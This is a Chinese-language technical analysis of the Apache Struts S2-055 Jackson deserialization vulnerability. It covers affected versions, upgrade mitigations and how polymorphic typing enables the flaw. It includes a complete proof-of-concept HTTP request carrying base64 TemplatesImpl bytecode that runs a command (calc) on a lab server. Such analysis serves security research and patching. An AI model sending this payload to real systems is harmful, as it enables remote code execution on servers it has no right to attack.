作者:廖新喜
2017年12月1日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞,漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知,其实这里是远程代码执行。
相关链接如下:
https://cwiki.apache.org/confluence/display/WW/S2-055
影响版本:
Struts 2.5 - Struts 2.5.14
规避方案
立即升级到Struts 2.5.14.1或者升级com.fasterxml.jackson到2.9.2版本
从官方的描述来看,这个就是Jackson的反序列化漏洞,由于Jackson在处理反序列的时候需要支持多态,所以在反序列的时候通过指定特定的类来达到实现多态的目的。这个特性默认是不开启的,所以在Struts2中影响也是有限。
为了让Jackson支持多态,Jackson官方提供了几种方式,下面介绍两种常用方式(https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
第一种:全局Default Typing机制,启用代码如下:
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
这是一个全局开关,打开之后,在持久化存储数据时会存储准确的类型信息。
第二种:为相应的class添加@JsonTypeInfo注解
public ObjectMapper enableDefaultTyping(DefaultTyping dti) { return enableDefaultTyping(dti, JsonTypeInfo.As.WRAPPER_ARRAY); }
通过阅读源码也能发现,全局Default Typing机制也是通过JsonTypeInfo来实现的。下面来看一个简单的示例:
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) class Animal { } 在超类Animal上加上一段@JsonTypeInfo,所有Animal的子类反序列化都可以准确的对于子类型。
这段注解什么意思呢?JsonTypeInfo.Id.CLASS是指序列化或者反序列时都是全名称,如org.codehaus.jackson.sample.Animal
,JsonTypeInfo.As.WRAPPER_ARRAY
意为使用数组表示,如
[ "com.fasterxml.beans.EmployeeImpl", { ... // actual instance data without any metadata properties } ]
了解了Jackson的相关多态的特性之后,为了触发反序列化漏洞,必须开启这个特性,再来看看Struts2的相关代码。由于Jackson不是Struts2 json格式的默认处理句柄,首先修改struts.xml,添加如下代码:
<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/> <constant name="struts.rest.handlerOverride.json" value="jackson"/>
这样Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理,再来分析下JacksonLibHandler的代码,如下所示:
public void toObject(Reader in, Object target) throws IOException { mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false); ObjectReader or = mapper.readerForUpdating(target); or.readValue(in); }
上述代码是处理json反序列的逻辑,很显然没有启用全局Default Typing机制,那么为了触发这个漏洞只能是通过第二种支持多态的方式来打开这个特性。这个漏洞和S2-052非常类似,都是引用的第三方库存在缺陷导致的漏洞,这样的案例数不胜数,在Java生态中简直就是一个灾难,第三方依赖实在太多。为了分析这个漏洞,我们还是拿052的环境来做测试,也就是rest-show-case,环境搭建可以参考《S2-052漏洞分析及官方缓解措施无效验证》,具体的修改如下:
public class Order { public String id; @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName; public int amount; public Order() {} public Order(String id, Object clientName, int amount) { super(); this.id = id; this.clientName = clientName; this.amount = amount; } public void setClientName(Object clientName) { this.clientName = clientName; }
修改部分主要在@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName;
一个在clientName上方添加注解,打开支持多态的特性,这样我们就能指定clientName的类型;另一个是将clientName的类型改为Object类型,这样就避免了类型不匹配或者不是其子类的错误。相应地修改setClientName方法的传入类型为Object。
Jackson已经暴露了很多种PoC在外,下面我们拿com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来做示例,具体的PoC如下:
POST /orders HTTP/1.1 Host: 192.168.3.103:8080 Proxy-Connection: keep-alive Content-Length: 2157 Cache-Control: max-age=0 Origin: http://192.168.3.103:8080 Upgrade-Insecure-Requests: 1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://192.168.3.103:8080/orders/new Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6 Cookie: csrftoken=LYokAxo4ABMl0wKhLhkdl1x5I0AQQDE8E3L1zcc3A1YVybHMEHkOWq01VqdnfJEm; JSESSIONID=7367044F7C24B8BE7CDE5444E28E2BF4 {"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],"transletName":"a.b","outputProperties":{}}]}
首先将ContentType设置为application/json,这样请求才会丢给Jackson处理。这里最核心的部分就是clientName字段了,必须和前面注解部分绑定,也就是这个字段必须有,很显然,这个漏洞不具有通用性,首先得有一个Object类型的字段,其次这个字段还必须用注解JsonTypeInfo修饰。这种情况应该少之又少。下面给个计算器的图吧。